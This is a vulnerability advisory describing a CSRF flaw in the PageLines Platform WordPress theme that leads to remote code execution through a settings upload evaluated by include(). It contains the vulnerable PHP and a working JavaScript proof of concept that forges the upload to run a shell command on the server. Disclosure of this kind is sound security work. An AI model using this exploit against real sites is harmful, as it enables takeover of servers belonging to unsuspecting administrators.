Platform 4 by PageLines is a WordPress theme. During a bug bounty investigation, a CSRF-RCE vulnerability was found in the administrative functions of the theme. A settings upload function doesn’t check for a CSRF token. Contents of the uploaded settings file are evaluated as PHP so a successful attack leads to direct server-side code execution.
The exploit requires that an administrator of a vulnerable site views attacker-supplied HTML code while being logged on the system.
Details
The file includes/library.options.php contains the following problematic code:
if ( isset($_POST['settings_upload']) && $_POST['settings_upload'] == 'settings') {
/*
... some (insufficient) sanity checks first ...
*/
ob_start();
include($_FILES['file']['tmp_name']);
/*
...
*/
This is a fairly typical CSRF vulnerability with two exceptions. Firstly, the impact is probably more serious than usual because the attacker-supplied code is directly evaluated on the server by the include() statement above. Secondly, the exploit requires a file upload POST request which prevents the use of a normal HTML form element.
A malicious script can spoof an arbitrary file upload form submission in this way:
<script>
var phpsrc='<?php system("id > /tmp/exploit.txt");exit(0); ?>';
var x=new XMLHttpRequest();
x.open('POST','https://target.site/wp-admin/admin-post.php?page=pagelines');
x.withCredentials=true;
var fd=new FormData();
fd.append("settings_upload","settings");
fd.append("file",new Blob([phpsrc]),"Settings");
x.send(fd);
</script>
If an administrator views a page containing this script, a settings upload request is fired. In this example the command id > /tmp/exploit.txt is immediately executed on the server.
Vendor response
PageLines was notified on October 20, 2016. According to the vendor, Platform 1.4.4 is unsupported and won’t be fixed. PageLines advices users of the theme to upgrade to the latest product Platform Pro.
The bug bounty program (unrelated to PageLines) did not issue a reward, not considering it a “real world threat” that an administrator could view a malicious web page.
Credits
The vulnerability was discovered and researched by Jouko Pynnönen of Klikki Oy, Finland.
The bug is related to this one reported by Sucuri in 2015. The vulnerability described by Sucuri was exploitable without authentication, making it more severe. The bug fix in 2015 stopped direct unauthenticated attacks but didn’t prevent reflected, CSRF attacks described here.